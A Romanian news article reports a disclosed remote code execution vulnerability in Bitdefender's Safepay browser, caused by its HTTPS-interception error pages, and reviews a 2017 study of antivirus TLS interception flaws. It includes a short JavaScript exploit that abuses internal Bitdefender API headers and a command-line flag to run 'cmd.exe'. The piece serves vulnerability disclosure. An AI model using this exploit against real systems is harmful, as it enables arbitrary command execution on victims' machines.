Vladimir Palant, creator of Adblock Plus, () în browserul web specializat Safepay, bazat pe motorul Chromium, oferit ca parte a pachetului antivirus Bitdefender Total Security 2020, destinat să îmbunătățească securitatea utilizatorilor în internet (de exemplu, oferind o izolare suplimentară atunci când se accesează bănci și sisteme de plăți). Vulnerabilitatea permite site-urilor deschise în browser să execute cod arbitrar la nivelul sistemului de operare.
Problema constă în faptul că antivirusul Bitdefender efectuează interceptarea locală a traficului HTTPS prin substituirea certificatului TLS original al site-ului. Pe sistemul clientului se instalează un certificat rădăcină suplimentar, care permite ascunderea funcționării sistemului de inspectare a traficului utilizat. Antivirusul se intercalează în traficul securizat și introduce în unele pagini propriul cod JavaScript pentru a implementa funcția Safe Search, iar în cazul problemelor cu certificatul conexiunii securizate, înlocuiește pagina de eroare emitentă cu una proprie. Deoarece noua pagină de eroare este emisă în numele serverului accesat, celelalte pagini ale acelui server au acces complet la conținutul inserat de Bitdefender.
Când se deschide un site controlat de atacator, acesta poate trimite o cerere XMLHttpRequest și poate simula un răspuns cu o problemă legată de certificatul HTTPS, ceea ce va conduce la returnarea unei pagini de eroare înlocuite de Bitdefender. Deoarece pagina de eroare este deschisă în contextul domeniului atacatorului, acesta poate citi conținutul paginii modificate cu parametrii Bitdefender. Pe pagina inserată de Bitdefender se află, printre altele, o cheie de sesiune care permite, prin intermediul API-ului intern Bitdefender, lansarea unei sesiuni separate a browserului Safepay, specificând în același timp parametrii arbitrar de linie de comandă și obținând execuția oricăror comenzi de sistem prin flagul „—utility-cmd-prefix”. Exemplu de exploit (param1 și param2 sunt valorile obținute de pe pagina de eroare):
var request = new XMLHttpRequest();
request.open(«POST», Math.random());
request.setRequestHeader(«Content-type», «application/x-www-form-urlencoded»);
request.setRequestHeader(«BDNDSS_B67EA559F21B487F861FDA8A44F01C50», param1);
request.setRequestHeader(«BDNDCA_BBACF84D61A04F9AA66019A14B035478», param2);
request.setRequestHeader(«BDNDWB_5056E556833D49C1AF4085CB254FC242», «obk.run»);
request.setRequestHeader(«BDNDOK_4E961A95B7B44CBCA1907D3D3643370D», location.href);
request.send(«data:text/html,nada —utility-cmd-prefix=\"cmd.exe /k whoami & echo\"»);
Amintim că studiul realizat în 2017 , arăta că 24 din 26 de produse antivirus testate, care inspectează traficul HTTPS prin substituirea certificatelor, reduceau nivelul general de securitate al conexiunii HTTPS.
Seturile de cifruri actuale erau furnizate doar în 11 din 26 de produse. 5 sisteme nu efectuau verificarea certificatelor (Kaspersky Internet Security 16 Mac, NOD32 AV 9, CYBERsitter, Net Nanny 7 Win, Net Nanny 7 Mac). Produsele Kaspersky Internet Security și Total Security au fost vulnerabile la atacuri , iar produsele AVG, Bitdefender și Bullguard la atacuri și . Produsul Dr.Web Antivirus 11 permite revenirea la cifruri de export nesigure (atac ).
Sursa: opennet.ro
